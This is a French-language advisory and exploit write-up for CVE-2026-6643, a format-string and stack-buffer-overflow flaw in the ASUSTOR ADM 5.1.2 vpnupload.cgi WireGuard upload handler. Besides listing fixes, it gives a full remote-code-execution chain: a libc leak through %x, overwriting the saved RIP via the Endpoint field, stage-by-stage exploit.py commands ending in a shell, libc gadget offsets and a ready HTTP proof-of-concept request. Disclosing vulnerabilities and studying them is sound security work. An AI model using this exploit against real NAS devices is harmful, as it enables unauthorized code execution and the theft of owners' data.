
ASUSTOR ADM 5.1.2 vpnupload.cgi — Chaîne de format et débordement de tampon sur la pile — RCE (CVE-2026-6643)
| Champ | Valeur |
|---|
| Produit | ASUSTOR ADM (ASUSTOR Data Master) |
| Version affectée | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Composant | /portal/apis/settings/vpnupload.cgi — action upload_wireguard |
| Type de vulnérabilité | CWE-134 Chaîne de format / CWE-121 Débordement de tampon de pile |
| Sévérité | Élevée |
| Authentification requise | Oui (cookie Revive_Session valide) |
| Date de découverte | 2026-03-14 |
Le gestionnaire upload_wireguard analyse un fichier de configuration WireGuard, assemble les champs dans un objet JSON, puis transmet le résultat directement comme argument de chaîne de format à printf() :
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
Un attaquant peut intégrer des spécificateurs de format printf dans n'importe quel champ de configuration WireGuard :
%x / %p — lit la mémoire de la pile (fuite d'informations)%n — écrit dans une mémoire arbitraire (exécution de code via l'écrasement de la GOT)Le même gestionnaire utilise sscanf("%s") sans limite pour copier les valeurs de configuration dans des tampons de pile de 300 octets, alors que fgets accepte jusqu'à 32 768 octets par ligne :
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
Fournir plus de 300 octets provoque un débordement dans les tampons adjacents. À 4 000 octets, le RIP sauvegardé est corrompu, ce qui provoque un SIGSEGV.
| Protection | Statut | Impact |
|---|---|---|
| FORTIFY_SOURCE | Désactivé | printf (pas __printf_chk) — l'écriture %n fonctionne |
| Stack Canary | Désactivé | Aucune fuite de canari requise |
| PIE | Désactivé | Les adresses de la GOT et des gadgets sont statiques |
| RELRO | Partielle | La GOT est inscriptible |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164 (le tampon Endpoint) se situe à rbp-0x164, le plus proche des huit tampons de l'adresse de retour sauvegardée :
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
sscanf("%s") cesse de copier à un octet nul. Une adresse libc (0x7f...) en little-endian se termine par deux octets nuls. Cependant, les deux octets de poids fort de tout RIP sauvegardé contiennent déjà 0x0000, donc l'écriture aboutit correctement même si sscanf s'arrête prématurément :
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
Tous les gadgets ROP intermédiaires doivent également provenir de libc (plage 0x7f...) pour éviter les octets nuls incorporés. Seule la valeur finale de la chaîne peut se terminer par des octets nuls.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
Exemple de sortie :
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
Exemple de sortie :
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
Identifiez le symbole et calculez la base de libc :
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
Extrayez libc.so.6 de l'image du firmware, puis exécutez :
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
Mettez à jour les constantes dans exploit.py :
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
Remarque : Deux sections multipart sont requises. Le parseur utilise un compteur de délimiteur (
boundary) ; l'analysesscanfne s'active que sur la deuxième section.
Réponse (champ clientprivatekey) :
AAAA_feebd19f_0000012b_0000007d_00000002
Définissez PrivateKey sur 4 000 octets → SIGSEGV (code de sortie 139).
| Vulnérabilité | Correctif |
|---|---|
| Chaîne de format | Remplacez printf(pcVar2) par printf("%s", pcVar2) ou fputs(pcVar2, stdout) |
| Débordement de tampon | Ajoutez des limites de longueur à toutes les chaînes de format sscanf (par exemple %299s pour des tampons de 300 octets) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi extrait de l'imageld-linux et les bibliothèques partagées du firmwareje → jmp au décalage 0x1224 (tests locaux uniquement)Cet exploit est fourni uniquement pour la recherche en sécurité et les tests autorisés. Ne l'utilisez pas contre des systèmes sans autorisation explicite.